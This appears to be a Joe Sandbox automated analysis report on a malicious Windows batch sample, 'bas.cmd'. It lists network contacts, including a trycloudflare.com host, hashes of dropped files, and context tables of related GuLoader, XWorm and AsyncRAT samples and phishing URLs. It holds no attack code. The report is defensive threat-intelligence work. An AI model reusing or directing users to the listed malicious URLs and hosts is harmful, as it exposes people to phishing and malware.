104.16.231.132	floor-contemporary-genius-accommodation.trycloudflare.com	United States	13335	CLOUDFLARENETUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1446789
Start date and time:	2024-05-23 21:11:33 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bas.cmd
Detection:	MAL
Classification:	mal60.evad.winCMD@52/25@27/5
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .cmd

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.163, 142.250.185.110, 74.125.133.84, 34.104.35.123, 184.28.90.27, 93.184.221.240, 192.229.221.95, 142.250.181.227, 216.58.212.142
Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target powershell.exe, PID 2980 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6156 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
VT rate limit hit for: bas.cmd

Simulations

Behavior and APIs

Time	Type	Description
15:12:27	API Interceptor	2x Sleep call for process: svchost.exe modified
15:12:29	API Interceptor	39x Sleep call for process: powershell.exe modified
15:12:37	API Interceptor	3x Sleep call for process: AppInstallerPythonRedirector.exe modified

LLM Input / Output

Input	Output
URL: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text '404 Not Found' does not indicate the presence of a login form.", "The text '404 Not Found: SCANNED.pdf - 2024-05-23' also does not suggest the presence of a login form." ] }
404 Not Found 404 Not Found: SCANNED.pdf - 2024-05-23
URL: https://floor-contemporary-genius-accommodation.trycloudflare.com/SCANNED.pdf Model: Perplexity: mixtral-8x7b-instruct	{ "loginform": false, "reasons": [ "The text '404 Not Found' does not indicate the presence of a login form.", "The text '404 Not Found: SCANNED.pdf - 2024-05-23 21' also does not suggest the presence of a login form." ] }
404 Not Found 404 Not Found: SCANNED.pdf - 2024-05-23 21

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	https://cas5-0-urlprotect.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fgoogle.jp%2famp%2fs%2fjbx.silsbeekiaimports.us&umid=7eb8d47e-9d0c-47da-ae2a-8c43fe69fc7e&auth=6c94a71134cc7c92741d5538b555b091522e5e80-6d0e2f552f3dd2ebe4b30ade9b482f57c85f8c8f#Z2F5bGVAc2hyZXZlcG9ydGNoYW1iZXIub3Jn%2Fhc%2Farticles%2F360001376909%3Futm_campaign%3Dorder-confirmation-transactional%26utm_source%3Dblueshift%26utm_medium%3Demail%26utm_content%3Dtest-new-prod-recs-v2-lousersed-transactional-order-confirmation&d=DwMFaQ	Get hash	malicious	HTMLPhisher	Browse
	https://equifax.secure.virtru.com/start/?c=experiment&t=emailtemplate2019-09&s=twn_noreply%40equifax.com&p=d5b52cbc-0569-42e0-86cf-8416889c1b1d#v=3.0.0&d=https%3A%2F%2Fapi.virtru.com%2Fstorage%2Fapi%2Fpolicies%2Fd5b52cbc-0569-42e0-86cf-8416889c1b1d%2Fdata%2Fmetadata&dk=CSTBBNbTEYumPZCavpjONtXXrHKWZsLJITyIS27OqaA%3D	Get hash	malicious	Unknown	Browse
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	Unknown	Browse
	new.cmd	Get hash	malicious	GuLoader	Browse
	filePY.cmd	Get hash	malicious	Unknown	Browse
	http://hxjmm.check-tl-ver-154-2.com	Get hash	malicious	Unknown	Browse
	https://gheenirrigation.zendesk.com/api/v2/channels/voice/calls/CA22db3177fb7a310b9b6e136c494a58df/twilio/voicemail/recording	Get hash	malicious	Unknown	Browse
	https://t.co/PmbTTSQ6z4	Get hash	malicious	Unknown	Browse
	b23c466-Payment Reciept May 22 2024.html	Get hash	malicious	Unknown	Browse
	https://freexxxth.link	Get hash	malicious	Unknown	Browse
104.16.231.132	new.cmd	Get hash	malicious	GuLoader	Browse
104.16.231.132	basbasbas.bat	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
floor-contemporary-genius-accommodation.trycloudflare.com	new.cmd	Get hash	malicious	GuLoader	Browse	104.16.231.132
google.com	https://cas5-0-urlprotect.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fgoogle.jp%2famp%2fs%2fjbx.silsbeekiaimports.us&umid=7eb8d47e-9d0c-47da-ae2a-8c43fe69fc7e&auth=6c94a71134cc7c92741d5538b555b091522e5e80-6d0e2f552f3dd2ebe4b30ade9b482f57c85f8c8f#Z2F5bGVAc2hyZXZlcG9ydGNoYW1iZXIub3Jn%2Fhc%2Farticles%2F360001376909%3Futm_campaign%3Dorder-confirmation-transactional%26utm_source%3Dblueshift%26utm_medium%3Demail%26utm_content%3Dtest-new-prod-recs-v2-lousersed-transactional-order-confirmation&d=DwMFaQ	Get hash	malicious	HTMLPhisher	Browse	172.217.16.196
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	Unknown	Browse	216.58.206.68
	new.cmd	Get hash	malicious	GuLoader	Browse	142.250.185.100
	filePY.cmd	Get hash	malicious	Unknown	Browse	142.250.186.100
	http://hxjmm.check-tl-ver-154-2.com	Get hash	malicious	Unknown	Browse	142.250.74.196
	https://gheenirrigation.zendesk.com/api/v2/channels/voice/calls/CA22db3177fb7a310b9b6e136c494a58df/twilio/voicemail/recording	Get hash	malicious	Unknown	Browse	172.217.18.4
	https://t.co/PmbTTSQ6z4	Get hash	malicious	Unknown	Browse	142.250.185.174
	b23c466-Payment Reciept May 22 2024.html	Get hash	malicious	Unknown	Browse	216.58.212.132

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	las.cmd	Get hash	malicious	GuLoader	Browse	172.67.170.105
	https://cas5-0-urlprotect.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fgoogle.jp%2famp%2fs%2fjbx.silsbeekiaimports.us&umid=7eb8d47e-9d0c-47da-ae2a-8c43fe69fc7e&auth=6c94a71134cc7c92741d5538b555b091522e5e80-6d0e2f552f3dd2ebe4b30ade9b482f57c85f8c8f#Z2F5bGVAc2hyZXZlcG9ydGNoYW1iZXIub3Jn%2Fhc%2Farticles%2F360001376909%3Futm_campaign%3Dorder-confirmation-transactional%26utm_source%3Dblueshift%26utm_medium%3Demail%26utm_content%3Dtest-new-prod-recs-v2-lousersed-transactional-order-confirmation&d=DwMFaQ	Get hash	malicious	HTMLPhisher	Browse	104.17.2.184
	https://equifax.secure.virtru.com/start/?c=experiment&t=emailtemplate2019-09&s=twn_noreply%40equifax.com&p=d5b52cbc-0569-42e0-86cf-8416889c1b1d#v=3.0.0&d=https%3A%2F%2Fapi.virtru.com%2Fstorage%2Fapi%2Fpolicies%2Fd5b52cbc-0569-42e0-86cf-8416889c1b1d%2Fdata%2Fmetadata&dk=CSTBBNbTEYumPZCavpjONtXXrHKWZsLJITyIS27OqaA%3D	Get hash	malicious	Unknown	Browse	104.16.117.116
	zap.cmd	Get hash	malicious	GuLoader, XWorm	Browse	172.67.170.105
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	Unknown	Browse	104.17.3.184
	xff.cmd	Get hash	malicious	AsyncRAT, GuLoader	Browse	104.21.28.80
	new.cmd	Get hash	malicious	GuLoader	Browse	172.67.170.105
	las.cmd	Get hash	malicious	GuLoader	Browse	172.67.170.105
	kam.cmd	Get hash	malicious	GuLoader	Browse	172.67.170.105
	zap.cmd	Get hash	malicious	GuLoader, XWorm	Browse	104.21.28.80

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://equifax.secure.virtru.com/start/?c=experiment&t=emailtemplate2019-09&s=twn_noreply%40equifax.com&p=d5b52cbc-0569-42e0-86cf-8416889c1b1d#v=3.0.0&d=https%3A%2F%2Fapi.virtru.com%2Fstorage%2Fapi%2Fpolicies%2Fd5b52cbc-0569-42e0-86cf-8416889c1b1d%2Fdata%2Fmetadata&dk=CSTBBNbTEYumPZCavpjONtXXrHKWZsLJITyIS27OqaA%3D	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://u44668105.ct.sendgrid.net/ls/click?upn=u001.BTMESiTo6NsF48uIW4-2BrJkEc2YVFzyAaMWnWwgGT9cZqZS45ZZqu4Y-2FXJmZd8BXA8cja_AHV3UK6XjfrXMiZ9J4igW-2FDEUbICycoJ744IkX0PR6FoPBD5ixGfLkyQ9ofRFx1gjy-2BP-2BDUWqu7bhyffh6xflqZsbtNZtMLnpgQoCGrYBrKDAQCrs-2BXh7tVhTtmxcULJOM-2BKcO31hWTdcLyh6xHaFmrsv6JFsx6tjkxHhVyYzmDL2WjDZWPIbWyOCKFNxt29pnc1D6Wos9by2AU7AhdVB3KlHpWThOWm6-2FAP-2Buqng4Vq-2BmwndZ6wQGKVc-2FG51viAW-2FpPzuJOGK4hC-2FF-2FfgyonvDWvDkNa4J3BejflmN-2BuGCUZSHoW4H7oETlKRzn4f7VwMbU0WFOF9ZUfOI6CISxhvZQTsnMYzitMow1nPeu-2Flg0-2FzAaZA27HnZ5WdxtR2wKofgxyBDPpPjMUDCXBmEfEWtT8NXGmNaNpBvJDLI13EkOwRxoG67u0CqbvxxYYK-2F5eu2B-2Bg9JTJRxFbICA7lEJgDZLYhBS-2BbGjIrrRDvHg0hAvMhBJ54TVAoWNvYZYG-2FCqbCuzJrUBI0DoaRAGLq44smm73hnjeG06IT3WQV3A8KkhlXB3fqBFue-2Fd4ydFypfr1PkBzxIk-2FPd1H2pJdMYF-2B7HONDoFax8K-2BBkvfgdiIY-3D	Get hash	malicious	Unknown	Browse	52.165.165.26
	new.cmd	Get hash	malicious	GuLoader	Browse	52.165.165.26
	filePY.cmd	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://t.co/PmbTTSQ6z4	Get hash	malicious	Unknown	Browse	52.165.165.26
	b23c466-Payment Reciept May 22 2024.html	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://www.flipsnack.com/C65D7DCC5A8/sw-bruce-limited/full-view.html	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://www.whtenvlpe.com/acTcl2kTmPSJi_Ld_mhpL5dNumT258E0ztzYJGo7sYTHmy1SnIHoHTr_lyuA2BZnhF49nvpBtTPseiLflrqOEA~~/16/1	Get hash	malicious	Unknown	Browse	52.165.165.26
	https://www.google.com/url?q=https://tame-coherent-emmental.glitch.me/%23aG95ZUB1bW4uZWR1&source=gmail-imap&ust=1717088881000000&usg=AOvVaw14q68JL0hvqaGr_XiCkvK4	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26
	http://all4promos.com	Get hash	malicious	Unknown	Browse	52.165.165.26

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7569553187494135
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6Vqf:2JIB/wUKUKQncEmYRTwh0A
MD5:	E88B81C31CFA36F65AE4E7CA8EDAD712
SHA1:	81316232331C35F11F06AB68CD9952CF03128030
SHA-256:	00FA7C12A70A915ED83A47FAF0888CC2EA2DEA8F4DB38F9C0A99FED6CF3C3FEE
SHA-512:	6970341791370CE87FACABDB4D479A1D1595F6B9B50329F96E925728EB3BD40DA4BD66538E83A5AC904C7FCF7FAD5AEE861EB6695A4169E66053495E886487EA
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa76d9efa, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7900270366924921
Encrypted:	false
SSDEEP:	1536:DSB2ESB2SSjlK/JvED2y0IEWBqbMo5g5FYkr3g16k42UPkLk+kq+UJ8xUJoU+dzV:DazaPvgurTd42UgSii
MD5:	A6E3DDCAD7E708F303259F4F8FCC9306
SHA1:	F3C5E03F4F583C0C2218FF1D9B6C697B8E50F8FB
SHA-256:	7EE93F0DCD78B41D069AAB6DCAD18603343225517EAD3C272349068BE122B4BC
SHA-512:	9CE187E2C913B3C3B501CF58AEC8CBEE04C4E430C34CCC47F5AA558EDD48EC648F613F28BC78073960F286A5080FA32CEDF6AB9B772985DDD5AFF8D8FBDAADEE
Malicious:	false
Preview:	.m..... ...............X\...;...{......................0.`.....42...{5......\|y.h.b.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........+...{...............................................................................................................................................................................................2...{..................................$6.Z.....\|..........................\|y..........................#......h.b.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08228481545910313
Encrypted:	false
SSDEEP:	3:omGEYeJYybkqNt/57Dek3JsAVWKKwllEqW3l/TjzzQ/t:omGEzJDkqPR3tswYQmd8/
MD5:	DEE48A426E64519F1CCA6BF9ABA3240D
SHA1:	36417D5729158829F3EC6E15040ECA85E16F06DA
SHA-256:	73FAE12E1C77FEA50DBAF11413B2482A5E1CD8D0A58092B6DC68906B35D23B48
SHA-512:	4AE3ED90E0D852C24C55F53F9676013CDFC603FE25E24DF5948F56A59E2DAFA88100D5FAF03D02572D0298D9E4EDADB435A84CCDF6C0D35AE4267AFE12FEF817
Malicious:	false
Preview:	........................................;...{.......\|y.42...{5.........42...{5.42...{5...Y.42...{59........................\|y.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_45ht20tf.23y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4ycachth.hy0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5suvbnvh.dsm.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jmojxyey.k32.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmonyfee.iot.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q5qrap1z.hvm.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vrcvuj2l.rao.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vyt0rfry.1ks.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

C:\Windows\SystemTemp\chrome_BITS_6892_2065776899\BIT4183.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	1181927
Entropy (8bit):	0.13932521378817794
Encrypted:	false
SSDEEP:	192:5BDTqjeatTHXjI1bPZR+ApuAFIckTHijsb0lgXp7j3hKcMR4Do:LKKwTo+IIckmhgd9M
MD5:	315D2946800A9E243A34CD578D5465A0
SHA1:	36FA12AF82760830CAB3296D7C92E3BBAA443652
SHA-256:	674FC43AB8F3024524FAAE14F4264A6710FEBEB96B4C74C67A937844E3672289
SHA-512:	97CDBDF134F83F75ECD77ECECE20E5038842677274773282C985C57A334D81FE0CF5B348A616044884D483337C8176BCAFE103A97E0510592219166A1FFE3292
Malicious:	false
